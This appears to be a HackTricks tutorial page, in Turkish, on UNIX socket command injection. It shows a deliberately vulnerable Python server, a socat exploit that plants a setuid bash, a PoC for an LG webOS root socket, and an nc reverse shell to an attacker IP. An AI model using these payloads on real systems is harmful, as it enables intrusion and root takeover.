Socket Command Injection

Reading time: 4 minutes

tip

AWS Hacking'i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking'i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE) Azure Hacking'i öğrenin ve pratik yapın: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks'i Destekleyin

Socket binding example with Python

Aşağıdaki örnekte bir unix socket oluşturulur (/tmp/socket_test.s) ve alınan her şey os.system tarafından çalıştırılacak. Bunu gerçek dünyada bulmayacağınızı biliyorum, ama bu örneğin amacı unix sockets kullanan bir kodun nasıl göründüğünü ve en kötü durumda girdiyi nasıl yöneteceğimizi göstermektir.

s.py
import socket
import os, os.path
import time
from collections import deque

if os.path.exists("/tmp/socket_test.s"):
os.remove("/tmp/socket_test.s")

server = socket.socket(socket.AF_UNIX, socket.SOCK_STREAM)
server.bind("/tmp/socket_test.s")
os.system("chmod o+w /tmp/socket_test.s")
while True:
server.listen(1)
conn, addr = server.accept()
datagram = conn.recv(1024)
if datagram:
print(datagram)
os.system(datagram)
conn.close()

Kodu çalıştırın python ile: python s.py ve socket'in nasıl dinlediğini kontrol edin:

python
netstat -a -p --unix | grep "socket_test"
(Not all processes could be identified, non-owned process info
will not be shown, you would have to be root to see it all.)
unix  2      [ ACC ]     STREAM     LISTENING     901181   132748/python        /tmp/socket_test.s

Exploit

python
echo "cp /bin/bash /tmp/bash; chmod +s /tmp/bash; chmod +x /tmp/bash;" | socat - UNIX-CLIENT:/tmp/socket_test.s

Vaka çalışması: Root-owned UNIX socket signal-triggered escalation (LG webOS)

Bazı privileged daemons, untrusted input kabul eden ve privileged actions'ı thread-IDs ve signals ile ilişkilendiren root-owned UNIX socket'ler açığa çıkarır. Eğer protocol, unprivileged client'ın hangi native thread'in hedeflendiğini etkilemesine izin veriyorsa, bir privileged code path tetikleyebilir ve escalate edebilirsiniz.

Gözlemlenen desen:

  • root-owned socket'e bağlanın (ör. /tmp/remotelogger).
  • Bir thread oluşturun ve native thread id'sini (TID) elde edin.
  • TID'yi (packed) ve padding'i istek olarak gönderin; onay alın.
  • O TID'ye belirli bir signal göndererek privileged behaviour tetikleyin.

Minimal PoC taslağı:

python
import socket, struct, os, threading, time
# Spawn a thread so we have a TID we can signal
th = threading.Thread(target=time.sleep, args=(600,)); th.start()
tid = th.native_id  # Python >=3.8
s = socket.socket(socket.AF_UNIX, socket.SOCK_STREAM)
s.connect("/tmp/remotelogger")
s.sendall(struct.pack('<L', tid) + b'A'*0x80)
s.recv(4)  # sync
os.kill(tid, 4)  # deliver SIGILL (example from the case)

Bunu root shell'e dönüştürmek için basit bir named-pipe + nc deseni kullanılabilir:

bash
rm -f /tmp/f; mkfifo /tmp/f
cat /tmp/f | /bin/sh -i 2>&1 | nc <ATTACKER-IP> 23231 > /tmp/f

Notlar:

  • Bu hata sınıfı, yetkisiz istemci durumundan (TIDs) türetilen değerlere güvenilmesinden ve bunların ayrıcalıklı signal handlers veya mantığa bağlanmasından kaynaklanır.
  • Güçlendirmek için socket üzerinde credentials uygulayın, message formatlarını doğrulayın ve ayrıcalıklı işlemleri harici olarak sağlanan thread identifiers'tan ayırın.

Referanslar

tip

AWS Hacking'i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking'i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE) Azure Hacking'i öğrenin ve pratik yapın: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks'i Destekleyin